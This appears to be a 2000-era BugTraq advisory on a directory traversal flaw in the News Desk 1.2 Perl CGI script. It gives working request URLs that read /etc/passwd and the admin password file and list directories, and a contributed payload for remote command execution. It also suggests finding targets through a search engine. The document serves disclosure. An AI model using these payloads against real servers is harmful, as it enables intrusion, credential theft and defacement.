News Desk 1.2 CGI Vulnerbility

[B10Z Security <path () NS SYMPATICO CA>]

Introduction:

News Desk 1.2 (newsdesk.cgi) is a news 
submission script which is written in perl and allows 
someone on a remote computer to connect to the 
server and post news submissions without logging 
into the actual server. By logging into the cgi with a 
custom login and password (pass.txt) the admin is 
able to post the latest headline news to his/her 
website with ease.


The Vendors website is:
http://www.ibrow.com

Problem: 

Adding the string "/../" to an URL allows an attacker to 
view any file on the server, and also list directories 
within the server which the owner of the vulnerable 
httpd has permissions to access.

Examples:

http://www.VULNERABLE.com/cgi-bin/newsdesk.cgi?
t=../../../../etc/passwd 
^^ = Will obviously open the passwd file, if 
unshadowed.

http://www.VULNERABLE.com/cgi-bin/newsdesk.cgi?
t=../pass.txt 
^^ = Will open the password string which can be used 
to login to the newsdesk.cgi and post new news, or 
with special variables the ability to upload/post html to 
the htdoc's directory, possibly leading to a 
defacement of the webpage.

http://www.VULNERABLE.com/cgi-bin/newsdesk.cgi?
t=../../../../etc/
^^ = Will obviously list the /etc/ directory. Not all 
servers will list directories, but most apear to.


Note: It depends on where they install newsdesk.cgi, 
not always in a cgi-bin, so it could be installed with 
any path. Just goto your favorite search engine and 
search for newsdesk.cgi and voila. There is also 
some other variants of this cgi script out there, most 
of them are noticeable by the news.cgi?
a=something&t=meow.html format. Notice the a= & 
t= which is a clear give-away to Newsdesk.



Solution:

Vendor has been contacted. And will release a 
updated version which is supposed to be more 
secure...


Special Thanks to:
zenomorph <http://www.cgisecurity.com>

Which contributed this:

Remote command execution is possible on most 
sites if you use the correct directory syntax such 
as ../../../bin/ls%20/| is a working example, many 
more commands are possible if you play around with 
it a bit, such as spawning xterms.

--------------------
Found By:

b10z cgi advisory.
slipy () b10z net

Found on December 10th, 2000.
Posted to BugTraq Jan 3rd, 2001.